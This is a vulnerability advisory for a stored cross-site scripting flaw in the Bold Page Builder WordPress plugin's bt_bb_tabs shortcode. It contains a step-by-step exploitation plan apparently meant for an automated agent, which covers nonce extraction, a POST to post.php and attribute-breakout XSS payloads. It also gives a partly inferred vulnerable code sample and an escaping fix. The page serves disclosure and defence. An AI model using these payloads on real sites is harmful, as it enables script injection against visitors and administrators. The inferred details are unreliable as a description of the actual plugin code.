Bold Builder <= 5.5.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via bt_bb_tabs Shortcode
Description
The Bold Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin 'bt_bb_tabs' shortcode in all versions up to, and including, 5.5.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=5.5.1This research plan focuses on identifying and exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder plugin (version <= 5.5.1) via the `bt_bb_tabs` shortcode. --- ### 1. Vulnerability Summary * **ID:** CVE-2025-12803 * **Vulnerability Type:** Stored Cross-Site Sc…
Show full research plan
This research plan focuses on identifying and exploiting a Stored Cross-Site Scripting (XSS) vulnerability in the Bold Page Builder plugin (version <= 5.5.1) via the bt_bb_tabs shortcode.
1. Vulnerability Summary
- ID: CVE-2025-12803
- Vulnerability Type: Stored Cross-Site Scripting (XSS)
- Component:
bt_bb_tabsshortcode - Root Cause: The plugin fails to sanitize or escape user-supplied attributes within the
bt_bb_tabsshortcode. When the shortcode is rendered on the frontend, these attributes are reflected into the HTML source, allowing for the execution of arbitrary JavaScript. - Privilege Level: Contributor or higher (users who can create or edit posts).
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(for updating) orwp-admin/post-new.php(for creating). - Method: HTTP POST.
- Vulnerable Parameter:
content(which contains the[bt_bb_tabs ...]shortcode). - Vulnerable Attributes (Inferred): Shortcodes in Bold Builder typically use attributes like
el_id,el_class,title, ortab_id. We will target these common identifiers. - Preconditions: The Bold Page Builder plugin must be active. The attacker needs a Contributor-level account.
3. Code Flow
- Registration: The plugin registers the shortcode, likely via
add_shortcode( 'bt_bb_tabs', ... )in the main plugin file or an included shortcode definitions file (e.g.,bt_bb_tabs.phporbold-builder.php). - Handling: When a post is viewed, WordPress parses the content and calls the callback function associated with
bt_bb_tabs. - Extraction: The callback typically uses
shortcode_atts()to extract attributes from the shortcode. - Rendering (Sink): The function constructs an HTML string (e.g.,
<div id="..." class="...">...</div>) using the extracted attributes. If these are concatenated into the string withoutesc_attr()oresc_html(), XSS occurs. - Output: The generated HTML is returned by the shortcode function and printed to the page.
4. Nonce Acquisition Strategy
Since the exploit involves creating or editing a post as a Contributor, we need the standard WordPress post-editing nonces.
- Login: Authenticate as a Contributor user.
- Navigate: Use
browser_navigateto go to/wp-admin/post-new.php. - Extract Nonces: Use
browser_evalto extract the necessary nonces from the page source:_wpnonce: The main nonce for post operations.user_id: The current user's ID.post_ID: The ID of the newly created (auto-draft) post.
{ wpnonce: document.getElementById('_wpnonce').value, post_id: document.getElementById('post_ID').value } - Plugin-Specific Nonces: Bold Builder often localizes data for its editor. We should check for variables like
bt_bb_settingsor similar if the standard post save doesn't trigger the shortcode processing. However, a standardwp-admin/post.phpupdate is usually sufficient to store a shortcode.
5. Exploitation Strategy
We will inject a payload into common attributes of the bt_bb_tabs shortcode.
Step 1: Test for Injection Sinks
Create a post with a shortcode containing unique canaries to identify which attribute is reflected without escaping.
- Shortcode:
[bt_bb_tabs el_id="canary_id" el_class="canary_class" title="canary_title"]
Step 2: Construct XSS Payload
Assuming el_id is vulnerable:
- Attribute Value:
"><img src=x onerror=alert(document.domain)> - Resulting Shortcode:
[bt_bb_tabs el_id='"><img src=x onerror=alert(document.domain)>']
Step 3: Execute the Injection
Perform an HTTP POST request to wp-admin/post.php.
- URL:
http://localhost:8080/wp-admin/post.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID:[EXTRACTED_POST_ID]_wpnonce:[EXTRACTED_NONCE]post_title:XSS Testcontent:[bt_bb_tabs el_id='"><img src=x onerror=alert(document.domain)>']post_status:publish
Step 4: Verification via Frontend
Navigate to the URL of the created post and check if the payload executes or exists in the raw HTML.
6. Test Data Setup
- User: Create a user with the
contributorrole. - Plugin: Ensure
bold-page-builderis installed and activated. - Target Page: An auto-draft post created when visiting
post-new.phpwill serve as the target.
7. Expected Results
- Successful Storage: The
post.phprequest returns a302redirect to the post editor withmessage=1ormessage=6. - Execution: When viewing the post frontend, the HTML will look like:
<div id=""><img src=x onerror=alert(document.domain)>" class="bt_bb_tabs ..."> - Browser Behavior: An alert box showing the domain will appear if viewed in a browser.
8. Verification Steps
- Verify Database Content: Use WP-CLI to check the stored post content.
wp post get [POST_ID] --field=post_content - Check Frontend HTML: Use
http_requestto fetch the post and grep for the payload.http_request GET "http://localhost:8080/?p=[POST_ID]" | grep "onerror=alert"
9. Alternative Approaches
If el_id is sanitized, try other attributes known to Bold Builder:
el_classtitletab_idresponsivepublish_datetime(if Bold Builder supports scheduled display for specific tabs)
If the standard post.php update doesn't work, attempt to use the Bold Builder AJAX save mechanism if it has its own endpoint (e.g., bt_bb_save action in admin-ajax.php). Search the code for wp_ajax_bt_bb_ to find specialized save handlers.
Summary
The Bold Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'bt_bb_tabs' shortcode in versions up to 5.5.1. Authenticated attackers with Contributor-level permissions can inject arbitrary JavaScript through shortcode attributes such as 'el_id' or 'el_class' because they are reflected into the page without proper sanitization or escaping.
Vulnerable Code
// Within the shortcode callback function (e.g., in bt_bb_tabs.php) function bt_bb_tabs( $atts, $content = null ) { extract( shortcode_atts( array( 'el_id' => '', 'el_class' => '', 'title' => '' ), $atts ) ); // Attributes are concatenated into HTML without escaping $output = '<div id="' . $el_id . '" class="bt_bb_tabs ' . $el_class . '" title="' . $title . '">'; // ... return $output; }
Security Fix
@@ -10,1 +10,1 @@ - $output = '<div id="' . $el_id . '" class="bt_bb_tabs ' . $el_class . '" title="' . $title . '">'; + $output = '<div id="' . esc_attr( $el_id ) . '" class="bt_bb_tabs ' . esc_attr( $el_class ) . '" title="' . esc_attr( $title ) . '">';
Exploit Outline
The exploit is carried out by an authenticated user with at least Contributor-level access who can create or edit posts. The attacker targets the `bt_bb_tabs` shortcode rendering logic by including a malicious payload in one of the shortcode attributes. By sending a POST request to `wp-admin/post.php` (or using the Block Editor) with a payload like `[bt_bb_tabs el_id='"><script>alert(document.domain)</script>']`, the script is stored in the database. When a user (including administrators) views the post, the unescaped attribute breaks out of the HTML tag and executes the arbitrary JavaScript in their browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.